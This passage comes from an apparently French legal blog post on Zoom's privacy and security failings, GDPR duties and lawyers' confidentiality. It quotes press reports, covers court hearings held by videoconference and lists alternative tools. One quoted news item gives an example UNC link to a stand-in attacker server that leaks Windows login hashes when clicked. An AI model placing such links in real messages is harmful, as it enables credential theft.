rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de viseo-conference revelat\nle ID number du meeting et les images des participants accompagnées de leur noms\nou pseudonymes peut être considérées comme une rupture de confidentialité</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du\nconseil ou leur AG. </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés sur les manquements\nde cet outil, comme le New York Attorney General investigations demandant aux écoles\nde ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant, les cris d’alarmes continuent à se faire entendre contre\nl’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“</em><em><a href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\" rel=\"noreferrer noopener\">Jonathan\nLeitschuh</a>, exposed a\nflaw allowing hackers to&nbsp;<a href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\" rel=\"noreferrer noopener\">take over Zoom\nwebcams</a>. The letter\nnoted that the company did not address problem until after the Electronic\nPrivacy Information Center, a public interest research center,&nbsp;<a href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade\nCommission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;</em><em><a href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom</a>&nbsp;intentionally designed its web\nconferencing service to bypass browser security settings and remotely enable a\nuser\'s web camera without the knowledge or consent of the user. As a result,\nZoom exposed users to the risk of remote surveillance, unwanted videocalls, and\ndenial-of-service attacks,” the complaint alleged.</em>” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it</a></li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for\nOnline Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC\nto \"open an investigation of Zoom\'s business practices and to issue, as\nsoon as practicable, Best Practices for Online Conferencing Services.\"\nHere’s the press release: </em><em><a href=\"https://lnkd.in/epjxHgw\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/epjxHgw</strong></a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing.\n“Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds\nof profane and racist comments. Needless to say, I am familiarizing myself with\nthese platforms’ privacy and security features, too. My office has been in\ncontact with representatives from Zoom to address this and other issues relating\nto online security and privacy,” said Attorney General Tong. “ In the meantime,\nAttorney General Tong encouraged everyone to practice safer video conferencing\nby: • Ensuring that your video conference software is up to date. • Confirming\nthat your conferences are private, either by requiring a password for entry or\ncontrolling guest access through a virtual waiting room. • Checking that the\nhighest security settings are applied for your teleconference platform. •\nConsult your software company’s security information or your IT department.\nHere\'s the press release: </em><em><a href=\"https://lnkd.in/gRcq9x2\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/gRcq9x2</strong></a><strong>”</strong></em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être\nla responsabilité des juristes en matière de traitement des données consécutifs\na l’utilisation d’une application qui a ete soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La CNIL explique&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L\'AIPD&nbsp;se décompose\nen trois parties :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Une description\ndétaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects\ntechniques qu’opérationnels</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’évaluation, de nature\nplus juridique, de la nécessité et de la proportionnalité concernant les\nprincipes et droits fondamentaux&nbsp; (finalité, données et durées de\nconservation, information et droits des personnes, etc.) non négociables, qui\nsont fixés par la loi et doivent être respectés, quels que soient les risques ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus\ntechnique, des risques sur la sécurité des données&nbsp;(confidentialité,\nintégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur\nla vie privée, qui permet de déterminer les mesures techniques et\norganisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nenvisagé figure dans&nbsp;</em><a href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"><em>la liste des types\nd’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a\nestimé obligatoire de réaliser une analyse d’impact relative à la protection\ndes données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage\nà la mise en cause de sa responsabilité. Les ordres professionnels doivent être\nsensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une\nsolution conforme aux exigences du règlement. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom\nSued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;</em><em><a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\" rel=\"noreferrer noopener\">lawsuit</a>&nbsp;[PDF], filed on Monday in\nCalifornia. The plaintiff in this case, Robert Cullen of Sacramento,\nCalifornia, The Register</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany\nRoush, Director at the Crypsis Group, said</a> : \"that having that kind of\nflexibility to ensure that critical services can carry on, especially in a\ncrisis, does not take the teeth from the CCPA and GDPR. If anything, it\ndemonstrates that the regulatory bodies are carrying out their essential\nfunction -- which is to ensure that companies protect consumer data... In many\nways, the CCPA and GDPR should take a page from HIPAA, which lowered security\nstandards for telehealth in order to manage the critical healthcare demands of\nthe pandemic... we do not have the luxury of time on our side to devise perfect\nsolutions.\"</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions\nalternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> 